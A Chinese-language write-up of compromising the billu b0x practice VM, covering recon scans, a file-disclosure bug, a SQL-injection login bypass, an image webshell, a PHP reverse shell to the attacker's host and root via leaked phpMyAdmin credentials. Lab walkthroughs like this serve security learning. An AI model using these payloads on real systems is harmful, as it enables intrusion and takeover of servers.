时隔一个月,失踪人口回归(bushi,这么久没碰过靶机,今天我们来碰一下靶机。
靶机:billu
攻击机:kali

一、前期工作|信息收集

开启靶机,是如下的一个界面。

判断受害主机ip

由于我们不知道靶机的ip,我们先nmap扫一下

1
nmap -sP 192.168.200.0/24  

扫到如下存活主机ip

经过测试,192.168.200.6这个是目的靶机,打开,显示如下界面

具体扫描

既然找到了目的靶机,那么我们先对其进行nmap扫描先

1
nmap -sS -sV -A -n 192.168.200.6 


对我来说有用处的:22|80.

二、web渗透

SQL注入

得到如上信息,我们先进行web渗透,我们先试试sql注入,因为提示”Show me your SQLI skills”。

1
2
3
1'
1' or 1=1#
1 or 1=1#

以上payload全在用户名处输入,密码随便输。
但是无一例外,全都提示”try again”。

再使用sqlmal尝试一下

1
sqlmap -u "http://192.168.200.6/index.php?un=1&ps=1"  


判定不存在注入点,那就放弃sql注入登录后台。

目录扫描

由于sql注入没得到什么有用的信息,且80端口的页面没什么值得操作的,接下来我们进行目录扫描。

1
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.200.6

读出以下几个目录

访问除了状态码为403的,一个一个康康。

/index

就是主界面

/images

这个界面有点用处吧,是存储上传的图片的目录。

如果存在上传漏洞的话,那我们上传的文件会存储在这里。

/in

这个页面就牛了,phpinfo()的界面,许多敏感参数,操作,什么开关之类的我们可以知道开没开。

发现open_basedir的值没有设置,也就是没有对用户可操作的文件范围做限制。但是allow_url_include=Off,所以说我们无法使用php://input和data://进行写shell操作。

/uploaded_images

/uploaded_images 也是存储上传图片的那个目录(后期会知道)。

/add

一个文件上传的界面,这里我尝试上了一个.php文件,但是没有提示成没成功,返回之前的/images界面,没发现上传的文件,说明失败,看后续怎么利用吧,现在暂时不知道这个上传功能究竟是个摆设还是因为权限不够导致上传不了。

/test

这个界面超级有用的。提示缺少一个参数”file”,即file参数是空的,请给file参数提供路径。

猜测是文件包含,而file就是文件包含的关键参数,应该可以实现文件的下载。那么我们尝试在url中给出file参数,尝试读取/etc/passwd文件试试

1
http://192.168.200.6/test?file=/etc/passwd

很遗憾,读取不了。
莫非是没用定向?尝试目录遍历

1
http://192.168.200.6/test?file=../../../../../../etc/passwd

e,没鸟用。
那么尝试post请求。可以使用bp,但还是用命令行吧。

1
2
curl -d "file=/etc/passwd" http://192.168.200.6/test
//采用post的方式添加参数即可(-d相当于--data,添加POST的参数):


这里引用一张图片来说明其中的意思。

在这个passwd文件,重点寻找有bash的用户,发现除了root,就只有一个ica,这或许是我们重点关注的账户。

其他的

其他的目录,/c、/show为空,/panel目录,来了一个重定向,应该是之前登陆界面如果登陆上的话,就会跳转到这里;/head2,是一张图片,暂时不知道是什么。

三、代码审计

我们可以使用之前的文件包含漏洞进行文件下载从而开始代码审计。

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function file_download($download)
{
if(file_exists($download))
{
header("Content-Description: File Transfer");

header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename($download).'"');
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);
}
else
{
echo "file not found";
}

}

if(isset($_POST['file']))
{
file_download($_POST['file']);
}
else{

echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}

进一步验证了这个文件包含漏洞可以进行文件下载。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';

}

if($_SESSION['logged']==true && $_SESSION['admin']!='')
{

echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];

header('Location: panel.php', true, 302);

}
else
{
echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

首先,从下面这段代码可以看出包含了两个文件,待会也下载康康。

1
2
include('c.php');
include('head.php');

其次,找到了其验证登录的逻辑。

1
2
3
4
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

这里其实就是先把前端输入进来的'过滤成空格,然后拼接上自己的'

1
select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'

其实也就是

1
select * from auth where  pass='.$pass.' and uname='.$uname.'

具体传输数据时,假设我传输1’ or 1=1#时,由于存在过滤,那么会变成:

1
select * from auth where  pass='1 or 1=1#' and uname='1'

那么万能密码就失效了
利用转义符\可以使'失效,即\'的思路
所以观察可以知道,当我pass传入,uname传入or 1=1#时,sql语句就变成了

1
select * from auth where  pass='\' and uname='or 1=1#'

即可实现万能密码登录。

这里虽然进入了一个新的界面,难道是后台?先不理,吧把剩下的代码审完。

c.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>

这里发现了数据库的密码,但是暂时没看到数据库啊

panel.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();

}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>

&nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);

if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}

if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{

$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);

if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>

这里发现又存在一个head2.php。
然后就是一些对文件上传的限制(存在白名单)。
其他php文件没发现什么特别的。

四、利用文件上传漏洞尝试getshell|反弹shell

上传图片马

由于存在白名单验证,那么先上传一个图片马康康。

1
<?php system($_GET['a']); ?>
1
copy tupian.png+muma.php name.png

成功上传,接下来康康连接不连接得上。

尝试连接

这里我直接点这个文件,但是连接不上,正常,因为图片马要配合解析漏洞才可正常连接。
那么我们就要寻找其他的路径触发php代码执行。首先想到的路径就是panel.php本身,因为这个php页面可以包含其他的php文件
具体就是这个页面不是有两个功能吗,查看图片以及添加图片
当我们分别对两个功能抓包时,观察load字段。


懂了吧?反正我大概是懂了…吧
所以进行改包后(load换成你的图片马地址,并且在get中传入你要执行的命令),成功执行,相当于getshell了。

反弹shell

getshell后,我们要进一步获取控制权,所以要反弹shell。
把刚才执行ls的那里替换为

1
php -r '$sock=fsockopen("192.168.200.4",5599);exec("/bin/bash -i <&3 >&3 2>&3");'

同时,kali上开启监听5577这一个端口。

1
nc -lvnp 5599

但尴尬的是,并没有成功反弹。
可是之前已经尝试了,刚刚这里已经成功代码执行了呀。那估计就是url编码的问题了,我们把这个反弹shell的语句进行url编码即可反弹成功
那么进行url编码后再尝试,成功反弹。

五、提权

上面我们说到,我们成功黑进了对方网站的服务器,那么我们的权限肯定是很低的,所以接下来我们要进行提权。
先尝试查看当前的权限

1
sudo -l

这是shell启动不全面的情况造成的。

那么尝试使用python启动shell

1
python -c "import pty;pty.spawn('/bin/bash')"

继续查看权限。什么?要密码?看来此路不通。

那么查看一下当前目录有啥好东西

1
ls -al

发现phpmy,应该是phpmyadmin(看来信息收集没有做全啊!!!)

进入phpmy目录,哇靠,一堆好东西(尤其是这个配置文件)。

cat一下,得到用户名与密码。

这应该是个数据库的密码,不过我们也可以碰撞尝试ssh登录root账户。

成功提权。

六、拓展

其实提权这一块有很多种方法,我第一时间是想利用msf进行提权的,也就是内核提权,但是search exp后,发现数量过多,定位到特定版本,又显示无exp。
具体看这位师傅(searchsploit):https://blog.csdn.net/2301_76329510/article/details/130187477

七、总结

1、信息收集做得还是不到位,一些重要的目录没有探针到。比如/phpmy,如果前期探针到的话…,那么可以省去sql注入,利用c.php里面的用户名以及密码,或许可以登陆进去,进去后,可以查找到index.php的账号密码。

省事。
2、图片马正常情况下无法使用,只可配合解析漏洞或者文件包含漏洞才可使用。
3、sqlmap使用姿势
如果已经通过手动sql测试确认存在sql注入,但是使用sqlmap却没有扫描出payload的情况下,可以尝试使用 -technique、-level和-v 命令

1
sqlmap -u "http://127.0.0.1/?id=1&name=1" -p "id" --random-agent -technique=T -level 2 -v 3

–p 指定注入参数
–level=LEVEL 执行测试的等级(1-5,默认为1)
level等级变化,sqlmap采用的payload也会有变化,另外还会影响注入点。HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。总之,在不确定哪个Payload或参数为注入点时,为保证全面性,建议使用高的level值,但是代价就是更慢的扫描速度。
安利:https://blog.csdn.net/qq_45719090/article/details/129241110
4、如何保证目录扫描不遗漏
在上面进行目录扫描时,由于只使用了一个目录扫描工具,导致扫描结果不全,致使遗漏了一些关键信息。
解决这个问题的最好办法就是使用多个目录扫描工具。
dirb

1
dirb "http://192.168.200.6/" /usr/share/dirb/wordlists/big.txt

扫出来了吧,/phpmy。

dirsearch
我在物理机装了,就用物理机扫。

1
python dirsearch.py -u "http://192.168.200.6/"


就这样,多个工具一起扫,才可以更详细。
5、nmap扫描如何更加全面
常规端口扫描

1
nmap -sT 192.168.200.6 -p- --min-rate=100000 -oN nmapscan/ports

这个命令的意思是
使用TCP连接扫描(-sT)对IP地址为192.168.200.6的主机进行端口扫描,扫描所有端口(-p-),设置最小速率为100000(–min-rate=100000),并将扫描结果保存到文件nmapscan/ports中(-oN nmapscan/ports)。

详细服务扫描

1
nmap -sT -sC -sV -O -p22,80 192.168.200.6 -oN nmapscan/detail

这个命令的意思是
对IP地址为192.168.200.6的主机进行详细的端口扫描。具体参数的含义如下:
-sT: 使用TCP连接扫描 -sC: 使用默认的脚本扫描 -sV: 对开放端口进行版本检测 -O: 进行操作系统检测 -p22,80: 只扫描端口22和端口80 -oN nmapscan/detail: 将扫描结果保存到文件nmapscan/detail中

默认脚本漏洞扫描

1
nmap -script=vuln -p22,80 192.168.200.6 -oN nmapscan/vuln

这个命令的意思是
对IP地址为192.168.31.180的主机进行漏洞扫描。具体参数的含义如下:
-script=vuln: 使用Nmap的漏洞扫描脚本进行扫描 -p22,80: 只扫描端口22和端口80 -oN nmapscan/vuln: 将扫描结果保存到文件nmapscan/vuln中

以上都是向朋友请教的,以后尝试一下。

学习链接

1、sql注入中的转义符:https://blog.csdn.net/lzu_lfl/article/details/129717185
2、kali-sqlmap:https://blog.csdn.net/2201_76034619/article/details/131436295
3、sqlmap命令大全:https://blog.csdn.net/qq_45719090/article/details/129241110
4、目录扫描工具dirmap:https://zhuanlan.zhihu.com/p/91927546